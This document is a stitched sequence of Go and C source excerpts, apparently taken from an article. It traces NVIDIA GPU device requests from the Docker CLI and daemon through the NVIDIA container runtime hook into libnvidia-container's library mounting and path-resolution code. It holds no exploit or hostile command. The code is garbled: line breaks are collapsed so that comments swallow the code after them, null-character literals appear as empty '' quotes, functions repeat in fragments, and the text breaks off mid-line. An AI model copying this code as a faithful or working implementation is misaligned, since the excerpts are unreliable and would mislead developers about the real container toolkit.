func parse(flags *pflag.FlagSet, copts *containerOptions, serverOS string) (*containerConfig, error) {  ...  deviceRequests := copts.gpus.Value()  if len(cdiDeviceNames) > 0 {    cdiDeviceRequest := container.DeviceRequest{      Driver:    "cdi",      DeviceIDs: cdiDeviceNames,    }    deviceRequests = append(deviceRequests, cdiDeviceRequest)  }  resources := container.Resources{    ...    DeviceRequests:       deviceRequests,  }  ...  hostConfig := &container.HostConfig{    ...    Resources:      resources,    ...  }  ...  return &containerConfig{    Config:           config,    HostConfig:       hostConfig,    NetworkingConfig: networkingConfig,  }, nil}

func runCreate(ctx context.Context, dockerCli command.Cli, flags *pflag.FlagSet, options *createOptions, copts *containerOptions) error {  ...  containerCfg, err := parse(flags, copts, dockerCli.ServerInfo().OSType)  ...  id, err := createContainer(ctx, dockerCli, containerCfg, options)  ...} func createContainer(ctx context.Context, dockerCli command.Cli, containerCfg *containerConfig, options *createOptions) (containerID string, err error) {  ...  response, err := dockerCli.Client().ContainerCreate(ctx, config, hostConfig, networkingConfig, platform, options.name)  ...}

func (daemon *Daemon) ContainerStart(ctx context.Context, name string, checkpoint string, checkpointDir string) error {  ...  return daemon.containerStart(ctx, daemonCfg, ctr, checkpoint, checkpointDir, true)} func (daemon *Daemon) containerStart(ctx context.Context, daemonCfg *configStore, container *container.Container, checkpoint string, checkpointDir string, resetRestartManager bool) (retErr error) {  ...  spec, err := daemon.createSpec(ctx, daemonCfg, container, mnts)  ...}

func (daemon *Daemon) createSpec(ctx context.Context, daemonCfg *configStore, c *container.Container, mounts []container.Mount) (retSpec *specs.Spec, err error) {  ...  opts = append(opts,    ...    WithDevices(daemon, c),    ...  )  ...}

func WithDevices(daemon *Daemon, c *container.Container) coci.SpecOpts {  return func(ctx context.Context, _ coci.Client, _ *containers.Container, s *coci.Spec) error {    ...    for _, req := range c.HostConfig.DeviceRequests {      if err := daemon.handleDevice(req, s); err != nil {        return err      }    }    ...  }}

func (daemon *Daemon) handleDevice(req container.DeviceRequest, spec *specs.Spec) error {  if req.Driver == "" {    for _, dd := range deviceDrivers {      if selected := dd.capset.Match(req.Capabilities); selected != nil {        return dd.updateSpec(spec, &deviceInstance{req: req, selectedCaps: selected})      }    }  } else if dd := deviceDrivers[req.Driver]; dd != nil {    if req.Driver == "cdi" {      return dd.updateSpec(spec, &deviceInstance{req: req})    }    if selected := dd.capset.Match(req.Capabilities); selected != nil {      return dd.updateSpec(spec, &deviceInstance{req: req, selectedCaps: selected})    }  }  return incompatibleDeviceRequest{req.Driver, req.Capabilities}}

const nvidiaHook = "nvidia-container-runtime-hook" func init() {  if _, err := exec.LookPath(nvidiaHook); err != nil {    // do not register Nvidia driver if helper binary is not present.    return  }  capset := capabilities.Set{"gpu": struct{}{}, "nvidia": struct{}{}}  nvidiaDriver := &deviceDriver{    capset:     capset,    updateSpec: setNvidiaGPUs,  }  for c := range allNvidiaCaps {    nvidiaDriver.capset[string(c)] = struct{}{}  }  registerDeviceDriver("nvidia", nvidiaDriver)} func setNvidiaGPUs(s *specs.Spec, dev *deviceInstance) error {  req := dev.req  if req.Count != 0 && len(req.DeviceIDs) > 0 {    return errConflictCountDeviceIDs  }   if len(req.DeviceIDs) > 0 {    s.Process.Env = append(s.Process.Env, "NVIDIA_VISIBLE_DEVICES="+strings.Join(req.DeviceIDs, ","))  } else if req.Count > 0 {    s.Process.Env = append(s.Process.Env, "NVIDIA_VISIBLE_DEVICES="+countToDevices(req.Count))  } else if req.Count < 0 {    s.Process.Env = append(s.Process.Env, "NVIDIA_VISIBLE_DEVICES=all")  }   var nvidiaCaps []string  // req.Capabilities contains device capabilities, some but not all are NVIDIA driver capabilities.  for _, c := range dev.selectedCaps {    nvcap := nvidia.Capability(c)    if _, isNvidiaCap := allNvidiaCaps[nvcap]; isNvidiaCap {      nvidiaCaps = append(nvidiaCaps, c)      continue    }    // TODO: nvidia.WithRequiredCUDAVersion    // for now we let the prestart hook verify cuda versions but errors are not pretty.  }   if nvidiaCaps != nil {    s.Process.Env = append(s.Process.Env, "NVIDIA_DRIVER_CAPABILITIES="+strings.Join(nvidiaCaps, ","))  }   path, err := exec.LookPath(nvidiaHook)  if err != nil {    return err  }   if s.Hooks == nil {    s.Hooks = &specs.Hooks{}  }   // This implementation uses prestart hooks, which are deprecated.  // CreateRuntime is the closest equivalent, and executed in the same  // locations as prestart-hooks, but depending on what these hooks do,  // possibly one of the other hooks could be used instead (such as  // CreateContainer or StartContainer).  s.Hooks.Prestart = append(s.Hooks.Prestart, specs.Hook{ //nolint:staticcheck // FIXME(thaJeztah); replace prestart hook with a non-deprecated one.    Path: path,    Args: []string{      nvidiaHook,      "prestart",    },    Env: os.Environ(),  })   return nil}

func GetDefault() (*Config, error) {  d := Config{    ...    NVIDIAContainerRuntimeConfig: RuntimeConfig{      ...      Runtimes:      []string{"docker-runc", "runc", "crun"},      ...    },    ...  }  ...}

func main() {  r := runtime.New()  err := r.Run(os.Args)  if err != nil {    os.Exit(1)  }}

func (r rt) Run(argv []string) (rerr error) {  ...  runtime, err := newNVIDIAContainerRuntime(r.logger, cfg, argv, driver)  ...  return runtime.Exec(argv)}

func newNVIDIAContainerRuntime(logger logger.Interface, cfg *config.Config, argv []string, driver *root.Driver) (oci.Runtime, error) {  lowLevelRuntime, err := oci.NewLowLevelRuntime(logger, cfg.NVIDIAContainerRuntimeConfig.Runtimes)  ...  if !oci.HasCreateSubcommand(argv) {    logger.Tracef("Skipping modifier for non-create subcommand")    return lowLevelRuntime, nil  }   ociSpec, err := oci.NewSpec(logger, argv)  ...  specModifier, err := newSpecModifier(logger, cfg, ociSpec, driver)  ...  // Create the wrapping runtime with the specified modifier.  r := oci.NewModifyingRuntimeWrapper(    logger,    lowLevelRuntime,    ociSpec,    specModifier,  )   return r, nil}

func (r *modifyingRuntimeWrapper) Exec(args []string) error {  if HasCreateSubcommand(args) {    r.logger.Debugf("Create command detected; applying OCI specification modifications")    err := r.modify()    if err != nil {      return fmt.Errorf("could not apply required modification to OCI specification: %w", err)    }    r.logger.Debugf("Applied required modification to OCI specification")  }   r.logger.Debugf("Forwarding command to runtime %v", r.runtime.String())  return r.runtime.Exec(args)}

// newSpecModifier is a factory method that creates constructs an OCI spec modifer based on the provided config.func newSpecModifier(logger logger.Interface, cfg *config.Config, ociSpec oci.Spec, driver *root.Driver) (oci.SpecModifier, error) {  rawSpec, err := ociSpec.Load()  if err != nil {    return nil, fmt.Errorf("failed to load OCI spec: %v", err)  }   image, err := image.NewCUDAImageFromSpec(rawSpec)  if err != nil {    return nil, err  }   mode := info.ResolveAutoMode(logger, cfg.NVIDIAContainerRuntimeConfig.Mode, image)  modeModifier, err := newModeModifier(logger, mode, cfg, ociSpec, image)  if err != nil {    return nil, err  }  // For CDI mode we make no additional modifications.  if mode == "cdi" {    return modeModifier, nil  }   graphicsModifier, err := modifier.NewGraphicsModifier(logger, cfg, image, driver)  if err != nil {    return nil, err  }   featureModifier, err := modifier.NewFeatureGatedModifier(logger, cfg, image)  if err != nil {    return nil, err  }   modifiers := modifier.Merge(    modeModifier,    graphicsModifier,    featureModifier,  )  return modifiers, nil}

func newModeModifier(logger logger.Interface, mode string, cfg *config.Config, ociSpec oci.Spec, image image.CUDA) (oci.SpecModifier, error) {  switch mode {  case "legacy":    return modifier.NewStableRuntimeModifier(logger, cfg.NVIDIAContainerRuntimeHookConfig.Path), nil  case "csv":    return modifier.NewCSVModifier(logger, cfg, image)  case "cdi":    return modifier.NewCDIModifier(logger, cfg, ociSpec)  }   return nil, fmt.Errorf("invalid runtime mode: %v", cfg.NVIDIAContainerRuntimeConfig.Mode)}

func NewCDIModifier(logger logger.Interface, cfg *config.Config, ociSpec oci.Spec) (oci.SpecModifier, error) {  devices, err := getDevicesFromSpec(logger, ociSpec, cfg)  if err != nil {    return nil, fmt.Errorf("failed to get required devices from OCI specification: %v", err)  }  if len(devices) == 0 {    logger.Debugf("No devices requested; no modification required.")    return nil, nil  }  logger.Debugf("Creating CDI modifier for devices: %v", devices)   automaticDevices := filterAutomaticDevices(devices)  if len(automaticDevices) != len(devices) && len(automaticDevices) > 0 {    return nil, fmt.Errorf("requesting a CDI device with vendor 'runtime.nvidia.com' is not supported when requesting other CDI devices")  }  if len(automaticDevices) > 0 {    automaticModifier, err := newAutomaticCDISpecModifier(logger, cfg, automaticDevices)    if err == nil {      return automaticModifier, nil    }    logger.Warningf("Failed to create the automatic CDI modifier: %w", err)    logger.Debugf("Falling back to the standard CDI modifier")  }   return cdi.New(    cdi.WithLogger(logger),    cdi.WithDevices(devices...),    cdi.WithSpecDirs(cfg.NVIDIAContainerRuntimeConfig.Modes.CDI.SpecDirs...),  )}

func NewStableRuntimeModifier(logger logger.Interface, nvidiaContainerRuntimeHookPath string) oci.SpecModifier {  m := stableRuntimeModifier{    logger:                         logger,    nvidiaContainerRuntimeHookPath: nvidiaContainerRuntimeHookPath,  }  return &m}

func NewCSVModifier(logger logger.Interface, cfg *config.Config, image image.CUDA) (oci.SpecModifier, error) {  if devices := image.DevicesFromEnvvars(visibleDevicesEnvvar); len(devices.List()) == 0 {    logger.Infof("No modification required; no devices requested")    return nil, nil  }  logger.Infof("Constructing modifier from config: %+v", *cfg)   if err := checkRequirements(logger, image); err != nil {    return nil, fmt.Errorf("requirements not met: %v", err)  }   csvFiles, err := csv.GetFileList(cfg.NVIDIAContainerRuntimeConfig.Modes.CSV.MountSpecPath)  if err != nil {    return nil, fmt.Errorf("failed to get list of CSV files: %v", err)  }   if image.Getenv(nvidiaRequireJetpackEnvvar) != "csv-mounts=all" {    csvFiles = csv.BaseFilesOnly(csvFiles)  }   cdilib, err := nvcdi.New(    nvcdi.WithLogger(logger),    nvcdi.WithDriverRoot(cfg.NVIDIAContainerCLIConfig.Root),    nvcdi.WithNVIDIACDIHookPath(cfg.NVIDIACTKConfig.Path),    nvcdi.WithMode(nvcdi.ModeCSV),    nvcdi.WithCSVFiles(csvFiles),  )  if err != nil {    return nil, fmt.Errorf("failed to construct CDI library: %v", err)  }   spec, err := cdilib.GetSpec()  if err != nil {    return nil, fmt.Errorf("failed to get CDI spec: %v", err)  }   cdiModifier, err := cdi.New(    cdi.WithLogger(logger),    cdi.WithSpec(spec.Raw()),  )  if err != nil {    return nil, fmt.Errorf("failed to construct CDI modifier: %v", err)  }   modifiers := Merge(    nvidiaContainerRuntimeHookRemover{logger},    cdiModifier,  )   return modifiers, nil}

func NewGraphicsModifier(logger logger.Interface, cfg *config.Config, image image.CUDA, driver *root.Driver) (oci.SpecModifier, error) {  if required, reason := requiresGraphicsModifier(image); !required {    logger.Infof("No graphics modifier required: %v", reason)    return nil, nil  }   nvidiaCDIHookPath := cfg.NVIDIACTKConfig.Path   mounts, err := discover.NewGraphicsMountsDiscoverer(    logger,    driver,    nvidiaCDIHookPath,  )  if err != nil {    return nil, fmt.Errorf("failed to create mounts discoverer: %v", err)  }   // In standard usage, the devRoot is the same as the driver.Root.  devRoot := driver.Root  drmNodes, err := discover.NewDRMNodesDiscoverer(    logger,    image.DevicesFromEnvvars(visibleDevicesEnvvar),    devRoot,    nvidiaCDIHookPath,  )  if err != nil {    return nil, fmt.Errorf("failed to construct discoverer: %v", err)  }   d := discover.Merge(    drmNodes,    mounts,  )  return NewModifierFromDiscoverer(logger, d)}

// NewFeatureGatedModifier creates the modifiers for optional features.// These include:////  NVIDIA_GDS=enabled//  NVIDIA_MOFED=enabled//  NVIDIA_NVSWITCH=enabled//  NVIDIA_GDRCOPY=enabled//// If not devices are selected, no changes are made.func NewFeatureGatedModifier(logger logger.Interface, cfg *config.Config, image image.CUDA) (oci.SpecModifier, error) {  if devices := image.DevicesFromEnvvars(visibleDevicesEnvvar); len(devices.List()) == 0 {    logger.Infof("No modification required; no devices requested")    return nil, nil  }   var discoverers []discover.Discover   driverRoot := cfg.NVIDIAContainerCLIConfig.Root  devRoot := cfg.NVIDIAContainerCLIConfig.Root   if cfg.Features.IsEnabled(config.FeatureGDS, image) {    d, err := discover.NewGDSDiscoverer(logger, driverRoot, devRoot)    if err != nil {      return nil, fmt.Errorf("failed to construct discoverer for GDS devices: %w", err)    }    discoverers = append(discoverers, d)  }   if cfg.Features.IsEnabled(config.FeatureMOFED, image) {    d, err := discover.NewMOFEDDiscoverer(logger, devRoot)    if err != nil {      return nil, fmt.Errorf("failed to construct discoverer for MOFED devices: %w", err)    }    discoverers = append(discoverers, d)  }   if cfg.Features.IsEnabled(config.FeatureNVSWITCH, image) {    d, err := discover.NewNvSwitchDiscoverer(logger, devRoot)    if err != nil {      return nil, fmt.Errorf("failed to construct discoverer for NVSWITCH devices: %w", err)    }    discoverers = append(discoverers, d)  }   if cfg.Features.IsEnabled(config.FeatureGDRCopy, image) {    d, err := discover.NewGDRCopyDiscoverer(logger, devRoot)    if err != nil {      return nil, fmt.Errorf("failed to construct discoverer for GDRCopy devices: %w", err)    }    discoverers = append(discoverers, d)  }   return NewModifierFromDiscoverer(logger, discover.Merge(discoverers...))}

func (p *initProcess) start() (retErr error) {  ...  ierr := parseSync(p.messageSockPair.parent, func(sync *syncT) error {    switch sync.Type {    case procSeccomp:      ...    case procReady:      ...      if err := hooks[configs.Prestart].RunHooks(s); err != nil {        return err      }      ...    case procHooks:      ...      if err := hooks[configs.Prestart].RunHooks(s); err != nil {        return err      }      ...    default:      ...    }  }  ...}

func main() {  ...  switch args[0] {  case "prestart":    doPrestart()    os.Exit(0)  case "poststart":    fallthrough  case "poststop":    os.Exit(0)  default:    flag.Usage()    os.Exit(2)  }}

func doPrestart() {  ...  args := []string{getCLIPath(cli)}  ...  args = append(args, "configure")  ...  err = syscall.Exec(args[0], args, env)  ...}

intmain(int argc, char *argv[]){  ...        if ((rv = load_libnvc()) != 0)                goto fail;  ...}

intload_libnvc(void){        if (is_tegra() && !nvml_available())                return load_libnvc_v0();        return load_libnvc_v1();}...static intload_libnvc_v1(void){        #define load_libnvc_func(func)             libnvc.func = nvc_##func         load_libnvc_func(config_free);        ...}

intconfigure_command(const struct context *ctx){  ...        if (libnvc.driver_mount(nvc, cnt, drv) < 0) {                warnx("mount error: %s", libnvc.error(nvc));                goto fail;        }        for (size_t i = 0; i < devices.ngpus; ++i) {                if (libnvc.device_mount(nvc, cnt, devices.gpus[i]) < 0) {                        warnx("mount error: %s", libnvc.error(nvc));                        goto fail;                }        }        if (!mig_config_devices.all && !mig_monitor_devices.all) {                for (size_t i = 0; i < devices.nmigs; ++i) {                        if (libnvc.mig_device_access_caps_mount(nvc, cnt, devices.migs[i]) < 0) {                                warnx("mount error: %s", libnvc.error(nvc));                                goto fail;                        }                }        }        if (mig_config_devices.all && mig_config_devices.ngpus) {                if (libnvc.mig_config_global_caps_mount(nvc, cnt) < 0) {                        warnx("mount error: %s", libnvc.error(nvc));                        goto fail;                }                for (size_t i = 0; i < mig_config_devices.ngpus; ++i) {                        if (libnvc.device_mig_caps_mount(nvc, cnt, mig_config_devices.gpus[i]) < 0) {                                warnx("mount error: %s", libnvc.error(nvc));                                goto fail;                        }                }        }        if (mig_monitor_devices.all && mig_monitor_devices.ngpus) {                if (libnvc.mig_monitor_global_caps_mount(nvc, cnt) < 0) {                        warnx("mount error: %s", libnvc.error(nvc));                        goto fail;                }                for (size_t i = 0; i < mig_monitor_devices.ngpus; ++i) {                        if (libnvc.device_mig_caps_mount(nvc, cnt, mig_monitor_devices.gpus[i]) < 0) {                                warnx("mount error: %s", libnvc.error(nvc));                                goto fail;                        }                }        }        for (size_t i = 0; i < nvc_cfg->imex.nchans; ++i) {                if (libnvc.imex_channel_mount(nvc, cnt, &nvc_cfg->imex.chans[i]) < 0) {                        warnx("mount error: %s", libnvc.error(nvc));                        goto fail;                }        }  ...        if (libnvc.ldcache_update(nvc, cnt) < 0) {                warnx("ldcache error: %s", libnvc.error(nvc));                goto fail;        }  ...}

intnvc_driver_mount(struct nvc_context *ctx, const struct nvc_container *cnt, const struct nvc_driver_info *info){        ...        if (ns_enter(&ctx->err, cnt->mnt_ns, CLONE_NEWNS) < 0)                return (-1);        ...        /* Procfs mount */        if (ctx->dxcore.initialized)                log_warn("skipping procfs mount on WSL");        else if ((*ptr++ = mount_procfs(&ctx->err, ctx->cfg.root, cnt)) == NULL)                goto fail;         /* Application profile mount */        if (cnt->flags & OPT_GRAPHICS_LIBS) {                if (ctx->dxcore.initialized)                        log_warn("skipping app profile mount on WSL");                else if ((*ptr++ = mount_app_profile(&ctx->err, cnt)) == NULL)                        goto fail;        }         /* Host binary and library mounts */        if (info->bins != NULL && info->nbins > 0) {                if ((tmp = (const char **)mount_files(&ctx->err, ctx->cfg.root, cnt, cnt->cfg.bins_dir, info->bins, info->nbins)) == NULL)                        goto fail;                ptr = array_append(ptr, tmp, array_size(tmp));                free(tmp);        }        if (info->libs != NULL && info->nlibs > 0) {                if ((tmp = (const char **)mount_files(&ctx->err, ctx->cfg.root, cnt, cnt->cfg.libs_dir, info->libs, info->nlibs)) == NULL)                        goto fail;                ptr = array_append(ptr, tmp, array_size(tmp));                free(tmp);        }        if ((cnt->flags & OPT_COMPAT32) && info->libs32 != NULL && info->nlibs32 > 0) {                if ((tmp = (const char **)mount_files(&ctx->err, ctx->cfg.root, cnt, cnt->cfg.libs32_dir, info->libs32, info->nlibs32)) == NULL)                        goto fail;                ptr = array_append(ptr, tmp, array_size(tmp));                free(tmp);        }        if (symlink_libraries(&ctx->err, cnt, mnt, (size_t)(ptr - mnt)) < 0)                goto fail;         /* Container library mounts */        if (cnt->libs != NULL && cnt->nlibs > 0) {                size_t nlibs = cnt->nlibs;                char **libs = array_copy(&ctx->err, (const char * const *)cnt->libs, cnt->nlibs);                if (libs == NULL)                        goto fail;                 filter_libraries(info, libs, &nlibs);                if ((tmp = (const char **)mount_files(&ctx->err, cnt->cfg.rootfs, cnt, cnt->cfg.libs_dir, libs, nlibs)) == NULL) {                        free(libs);                        goto fail;                }                ptr = array_append(ptr, tmp, array_size(tmp));                free(tmp);                free(libs);        }         /* Firmware mounts */        for (size_t i = 0; i < info->nfirmwares; ++i) {                if ((*ptr++ = mount_firmware(&ctx->err, ctx->cfg.root, cnt, info->firmwares[i])) == NULL) {                        log_errf("error mounting firmware path %s", info->firmwares[i]);                        goto fail;                }        }         /* IPC mounts */        for (size_t i = 0; i < info->nipcs; ++i) {                /* XXX Only utility libraries require persistenced or fabricmanager IPC, everything else is compute only. */                if (str_has_suffix(NV_PERSISTENCED_SOCKET, info->ipcs[i]) || str_has_suffix(NV_FABRICMANAGER_SOCKET, info->ipcs[i])) {                        if (!(cnt->flags & OPT_UTILITY_LIBS))                                continue;                } else if (!(cnt->flags & OPT_COMPUTE_LIBS))                        continue;                if ((*ptr++ = mount_ipc(&ctx->err, ctx->cfg.root, cnt, info->ipcs[i])) == NULL)                        goto fail;        }         /* Device mounts */        for (size_t i = 0; i < info->ndevs; ++i) {                /* On WSL2 we only mount the /dev/dxg device and as such these checks are not applicable. */                if (!ctx->dxcore.initialized) {                        /* XXX Only compute libraries require specific devices (e.g. UVM). */                        if (!(cnt->flags & OPT_COMPUTE_LIBS) && major(info->devs[i].id) != NV_DEVICE_MAJOR)                                continue;                        /* XXX Only display capability requires the modeset device. */                        if (!(cnt->flags & OPT_DISPLAY) && minor(info->devs[i].id) == NV_MODESET_DEVICE_MINOR)                                continue;                }                if (!(cnt->flags & OPT_NO_DEVBIND)) {                        if ((*ptr++ = mount_device(&ctx->err, ctx->cfg.root, cnt, &info->devs[i])) == NULL)                                goto fail;                }                if (!(cnt->flags & OPT_NO_CGROUPS)) {                        if (setup_device_cgroup(&ctx->err, cnt, info->devs[i].id) < 0)                                goto fail;                }        }        rv = 0;  fail:        if (rv < 0) {                for (size_t i = 0; mnt != NULL && i < nmnt; ++i)                        unmount(mnt[i]);                assert_func(ns_enter_at(NULL, ctx->mnt_ns, CLONE_NEWNS));        } else {                rv = ns_enter_at(&ctx->err, ctx->mnt_ns, CLONE_NEWNS);        }         array_free((char **)mnt, nmnt);        return (rv);}

intnvc_driver_mount(struct nvc_context *ctx, const struct nvc_container *cnt, const struct nvc_driver_info *info){  ...        /* Container library mounts */        if (cnt->libs != NULL && cnt->nlibs > 0) {                size_t nlibs = cnt->nlibs;                char **libs = array_copy(&ctx->err, (const char * const *)cnt->libs, cnt->nlibs);                if (libs == NULL)                        goto fail;                 filter_libraries(info, libs, &nlibs);                if ((tmp = (const char **)mount_files(&ctx->err, cnt->cfg.rootfs, cnt, cnt->cfg.libs_dir, libs, nlibs)) == NULL) {                        free(libs);                        goto fail;                }                ptr = array_append(ptr, tmp, array_size(tmp));                free(tmp);                free(libs);        }  ...}

static intfind_library_paths(struct error *err, struct nvc_container *cnt){        char path[PATH_MAX];        glob_t gl;        int rv = -1;        char **ptr;         if (!(cnt->flags & OPT_COMPUTE_LIBS))                return (0);         if (path_resolve_full(err, path, cnt->cfg.rootfs, cnt->cfg.cudart_dir) < 0)                return (-1);        if (path_append(err, path, "compat/lib*.so.*") < 0)                return (-1);         if (xglob(err, path, GLOB_ERR, NULL, &gl) < 0)                goto fail;        if (gl.gl_pathc > 0) {                cnt->nlibs = gl.gl_pathc;                cnt->libs = ptr = array_new(err, gl.gl_pathc);                if (cnt->libs == NULL)                        goto fail;                 for (size_t i = 0; i < gl.gl_pathc; ++i) {                        if (path_resolve(err, path, cnt->cfg.rootfs, gl.gl_pathv[i] + strlen(cnt->cfg.rootfs)) < 0)                                goto fail;                        if (!str_array_match(path, (const char * const *)cnt->libs, (size_t)(ptr - cnt->libs))) {                                log_infof("selecting %s%s", cnt->cfg.rootfs, path);                                if ((*ptr++ = xstrdup(err, path)) == NULL)                                        goto fail;                        }                }                array_pack(cnt->libs, &cnt->nlibs);        }        rv = 0;  fail:        globfree(&gl);        return (rv);}

static voidfilter_libraries(const struct nvc_driver_info *info, char * paths[], size_t *size){        char *lib, *maj;         /*         * XXX Filter out any library that matches the major version of RM to prevent us from         * running into an unsupported configurations (e.g. CUDA compat on Geforce or non-LTS drivers).         */        for (size_t i = 0; i < *size; ++i) {                lib = basename(paths[i]);                if ((maj = strstr(lib, ".so.")) != NULL) {                        maj += strlen(".so.");                        if (strncmp(info->nvrm_version, maj, strspn(maj, "0123456789")))                                continue;                }                paths[i] = NULL;        }        array_pack(paths, size);}

intnvc_driver_mount(struct nvc_context *ctx, const struct nvc_container *cnt, const struct nvc_driver_info *info){  ...        /* Container library mounts */        if (cnt->libs != NULL && cnt->nlibs > 0) {                size_t nlibs = cnt->nlibs;                char **libs = array_copy(&ctx->err, (const char * const *)cnt->libs, cnt->nlibs);                if (libs == NULL)                        goto fail;                 filter_libraries(info, libs, &nlibs);                if ((tmp = (const char **)mount_files(&ctx->err, cnt->cfg.rootfs, cnt, cnt->cfg.libs_dir, libs, nlibs)) == NULL) {                        free(libs);                        goto fail;                }                ptr = array_append(ptr, tmp, array_size(tmp));                free(tmp);                free(libs);        }  ...}

static char **mount_files(struct error *err, const char *root, const struct nvc_container *cnt, const char *dir, char *paths[], size_t size){        char src[PATH_MAX];        char dst[PATH_MAX];        mode_t mode;        char *src_end, *dst_end, *file;        char **mnt, **ptr;         if (path_new(err, src, root) < 0)                return (NULL);        if (path_resolve_full(err, dst, cnt->cfg.rootfs, dir) < 0)                return (NULL);        if (file_create(err, dst, NULL, cnt->uid, cnt->gid, MODE_DIR(0755)) < 0)                return (NULL);        src_end = src + strlen(src);        dst_end = dst + strlen(dst);         mnt = ptr = array_new(err, size + 1); /* NULL terminated. */        if (mnt == NULL)                return (NULL);         for (size_t i = 0; i < size; ++i) {                file = basename(paths[i]);                if (!match_binary_flags(file, cnt->flags) && !match_library_flags(file, cnt->flags))                        continue;                if (path_append(err, src, paths[i]) < 0)                        goto fail;                if (path_append(err, dst, file) < 0)                        goto fail;                if (file_mode(err, src, &mode) < 0)                        goto fail;                if (file_create(err, dst, NULL, cnt->uid, cnt->gid, mode) < 0)                        goto fail;                 log_infof("mounting %s at %s", src, dst);                if (xmount(err, src, dst, NULL, MS_BIND, NULL) < 0)                        goto fail;                if (xmount(err, NULL, dst, NULL, MS_BIND|MS_REMOUNT | MS_RDONLY|MS_NODEV|MS_NOSUID, NULL) < 0)                        goto fail;                if ((*ptr++ = xstrdup(err, dst)) == NULL)                        goto fail;                *src_end = '';                *dst_end = '';        }        return (mnt);  fail:        for (size_t i = 0; i < size; ++i)                unmount(mnt[i]);        array_free(mnt, size);        return (NULL);}

static intfind_library_paths(struct error *err, struct nvc_container *cnt){        char path[PATH_MAX];        glob_t gl;        int rv = -1;        char **ptr;         if (!(cnt->flags & OPT_COMPUTE_LIBS))                return (0);         if (path_resolve_full(err, path, cnt->cfg.rootfs, cnt->cfg.cudart_dir) < 0)                return (-1);        if (path_append(err, path, "compat/lib*.so.*") < 0)                return (-1);         if (xglob(err, path, GLOB_ERR, NULL, &gl) < 0)                goto fail;        if (gl.gl_pathc > 0) {    ...        }        rv = 0;  fail:        globfree(&gl);        return (rv);}

static intfind_library_paths(struct error *err, struct nvc_container *cnt){  ...        if (gl.gl_pathc > 0) {                cnt->nlibs = gl.gl_pathc;                cnt->libs = ptr = array_new(err, gl.gl_pathc);                if (cnt->libs == NULL)                        goto fail;                 for (size_t i = 0; i < gl.gl_pathc; ++i) {                        if (path_resolve(err, path, cnt->cfg.rootfs, gl.gl_pathv[i] + strlen(cnt->cfg.rootfs)) < 0)                                goto fail;                        if (!str_array_match(path, (const char * const *)cnt->libs, (size_t)(ptr - cnt->libs))) {                                log_infof("selecting %s%s", cnt->cfg.rootfs, path);                                if ((*ptr++ = xstrdup(err, path)) == NULL)                                        goto fail;                        }                }                array_pack(cnt->libs, &cnt->nlibs);        }  ...}

static intdo_path_resolve(struct error *err, bool full, char *buf, const char *root, const char *path){        int fd = -1;        int rv = -1;        char realpath[PATH_MAX];        char dbuf[2][PATH_MAX];        char *link = dbuf[0];        char *ptr = dbuf[1];        char *file, *p;        unsigned int noents = 0;        unsigned int nlinks = 0;        ssize_t n;         *ptr = '';        *realpath = '';        assert(*root == '/');         if ((fd = open_next(err, -1, root)) < 0)                goto fail;        if (path_append(err, ptr, path) < 0)                goto fail;         while ((file = strsep(&ptr, "/")) != NULL) {                if (*file == '' || str_equal(file, "."))                        continue;                else if (str_equal(file, "..")) {                        /*                         * Remove the last component from the resolved path. If we are not below                         * non-existent components, restore the previous file descriptor as well.                         */                        if ((p = strrchr(realpath, '/')) == NULL) {                                error_setx(err, "path error: %s resolves outside of %s", path, root);                                goto fail;                        }                        *p = '';                        if (noents > 0)                                --noents;                        else {                                if ((fd = open_next(err, fd, "..")) < 0)                                        goto fail;                        }                } else {                        if (noents > 0)                                goto missing_ent;                         n = readlinkat(fd, file, link, PATH_MAX);                        if (n > 0 && n < PATH_MAX && nlinks < MAXSYMLINKS) {                                /*                                 * Component is a symlink, append the rest of the path to it and                                 * proceed with the resulting buffer. If it is absolute, also clear                                 * the resolved path and reset our file descriptor to root.                                 */                                link[n] = '';                                if (*link == '/') {                                        ++link;                                        *realpath = '';                                        if ((fd = open_next(err, fd, root)) < 0)                                                goto fail;                                }                                if (ptr != NULL) {                                        if (path_append(err, link, ptr) < 0)                                                goto fail;                                }                                ptr = link;                                link = dbuf[++nlinks % 2];                        } else {                                if (n >= PATH_MAX)                                        errno = ENAMETOOLONG;                                else if (nlinks >= MAXSYMLINKS)                                        errno = ELOOP;                                switch (errno) {                                missing_ent:                                case ENOENT:                                        /* Component doesn't exist */                                        ++noents;                                        if (path_append(err, realpath, file) < 0)                                                goto fail;                                        break;                                case EINVAL:                                        /* Not a symlink, proceed normally */                                        if ((fd = open_next(err, fd, file)) < 0)                                                goto fail;                                        if (path_append(err, realpath, file) < 0)                                                goto fail;                                        break;                                default:                                        error_set(err, "path error: %s/%s", root, path);                                        goto fail;                                }                        }                }        }         if (!full) {                if (path_new(err, buf, realpath) < 0)                        goto fail;        } else {                if (path_join(err, buf, root, realpath) < 0)                        goto fail;        }        rv = 0;  fail:        xclose(fd);        return (rv);} intpath_resolve(struct error *err, char *buf, const char *root, const char *path){        return (do_path_resolve(err, false, buf, root, path));}

static voidfilter_libraries(const struct nvc_driver_info *info, char * paths[], size_t *size){        char *lib, *maj;         /*         * XXX Filter out any library that matches the major version of RM to prevent us from         * running into an unsupported configurations (e.g. CUDA compat on Geforce or non-LTS drivers).         */        for (size_t i = 0; i < *size; ++i) {                lib = basename(paths[i]);                if ((maj = strstr(lib, ".so.")) != NULL) {                        maj += strlen(".so.");                        if (strncmp(info->nvrm_version, maj, strspn(maj, "0123456789")))                                continue;                }                paths[i] = NULL;        }        array_pack(paths, size);}

boolmatch_binary_flags(const char *bin, int32_t flags){        if ((flags & OPT_UTILITY_BINS) && str_array_match_prefix(bin, utility_bins, nitems(utility_bins)))                return (true);        if ((flags & OPT_COMPUTE_BINS) && str_array_match_prefix(bin, compute_bins, nitems(compute_bins)))                return (true);        return (false);} boolmatch_library_flags(const char *lib, int32_t flags){        if (str_array_match_prefix(lib, dxcore_libs, nitems(dxcore_libs)))                return (true);        if ((flags & OPT_UTILITY_LIBS) && str_array_match_prefix(lib, utility_libs, nitems(utility_libs)))                return (true);        if ((flags & OPT_COMPUTE_LIBS) && str_array_match_prefix(lib, compute_libs, nitems(compute_libs)))                return (true);        if ((flags & OPT_VIDEO_LIBS) && str_array_match_prefix(lib, video_libs, nitems(video_libs)))                return (true);        if ((flags & OPT_GRAPHICS_LIBS) && (str_array_match_prefix(lib, graphics_libs, nitems(graphics_libs)) ||            str_array_match_prefix(lib, graphics_libs_glvnd, nitems(graphics_libs_glvnd)) ||            str_array_match_prefix(lib, graphics_libs_compat, nitems(graphics_libs_compat))))                return (true);        if ((flags & OPT_NGX_LIBS) && str_array_match_prefix(lib, ngx_libs, 